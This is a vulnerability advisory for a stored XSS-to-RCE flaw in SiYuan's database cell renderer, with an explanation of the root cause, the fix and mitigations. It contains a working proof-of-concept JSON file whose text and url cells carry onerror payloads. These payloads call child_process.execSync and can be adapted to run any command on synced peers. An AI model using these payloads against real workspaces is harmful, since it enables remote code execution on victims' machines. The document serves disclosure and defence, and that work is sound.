CVE-2026-54158: SiYuan Stored XSS to RCE via Unescaped Attribute-View Cell Rendering
SiYuan's database cell renderer writes attacker-controlled text, URL, phone, and asset values directly into innerHTML without escaping, letting anyone who can touch a synced workspace plant a payload
The problem
The TypeScript function `genAVValueHTML` in `app/src/protyle/render/av/blockAttr.ts` builds HTML for attribute-view (database) cells using raw template literals. Four branches, `text`, `url`, `phone`, and `mAsset`, concatenate cell values straight into the output string.
Every call site then assigns that string to `innerHTML`.
The kernel write path in `kernel/model/attribute_view.go` stores cell values with no HTML escaping, so a malicious string persists byte-for-byte in `data/storage/av/<avID>.json`. Because AV files travel with normal workspace sync, one write poisons every synced peer.
On Electron desktop the renderer runs with `nodeIntegration:true`, `contextIsolation:false`, and `webSecurity:false`, so the XSS immediately reaches `require('child_process')` for full host RCE.
Proof of concept
A working proof-of-concept for CVE-2026-54158 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.
// Minimum-viable AV JSON, written to workspace/data/storage/av/poc.json
// The "text" cell breaks out of the <textarea> tag;
// the "url" cell breaks out of the value="..." attribute.
{
"spec": 2,
"id": "20260519999999-poctest",
"name": "PocAV",
"keyValues": [
{
"key": {"id": "...keyblok", "name": "Block", "type": "block"},
"values": [{
"id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
"type": "block", "isDetached": true,
"block": {"id": "...row1blk", "content": "Row 1"}
}]
},
{
"key": {"id": "...keytext", "name": "TextField", "type": "text"},
"values": [{
"id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
"type": "text",
"text": {"content": "</textarea><img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">"}
}]
},
{
"key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
"values": [{
"id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
"type": "url",
"url": {"content": "\"><img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">"}
}]
}
]
}
// Verify the kernel returns content unescaped:
// curl -s -X POST http://localhost:6806/api/av/getAttributeView \
// -H "Authorization: Token $TOKEN" \
// -d '{"id":"20260519999999-poctest"}' | python3 -m json.tool | grep '"content":'
//
// Payload fires when victim opens the block-attribute panel on any row
// in this AV (cell click or gutter icon — normal database usage).The `text` branch emits `<textarea ...>${value.text?.content || ''}</textarea>` with no escaping. A value of `</textarea><img src=x onerror="...">` closes the textarea tag early and injects an `<img>` element whose `onerror` handler runs immediately. The `url` and `phone` branches embed content inside `value="..."` and `href="..."` attributes with no quoting escape, so `"><img src=x onerror="...">` terminates the attribute and injects a second element.
`escapeHtml` and `escapeAttr` already existed in the codebase and were applied to the `block`, `select`, and `mSelect` branches. The fix (commit `2d5d72223df4`) extends them to the four unprotected branches. The backend has no equivalent call to `html.EscapeAttrVal` in `kernel/model/attribute_view.go`, unlike the block-IAL write path at `kernel/model/blockial.go:261`, so existing payloads in synced workspaces are not retroactively neutralized by the backend change alone.
The fix
Upgrade to SiYuan 3.7.0 (patch commit `2d5d72223df4`). The fix wraps all four unsafe branches in `escapeHtml` or `escapeAttr` calls inside `genAVValueHTML`. If you cannot upgrade immediately, avoid opening block-attribute panels on rows from untrusted or externally synced workspaces, and audit `data/storage/av/*.json` for `<`, `>`, and `"` characters in cell content fields.
Related research
- critical · 9.9CVE-2026-54067CVE-2026-54067: SiYuan Stored XSS to RCE via CSS Snippet Style Tag Breakout
- critical · 9.9CVE-2026-50551CVE-2026-50551: SiYuan Stored XSS to RCE via Attribute View Asset Cell
- high · 7.5CVE-2026-54066CVE-2026-54066: SiYuan Unauthenticated Path Traversal via Double URL Encoding in /assets/ (Publish Mode)
- high · 7.1CVE-2026-54070CVE-2026-54070: SiYuan Stored XSS via Bazaar README Event Handler Bypass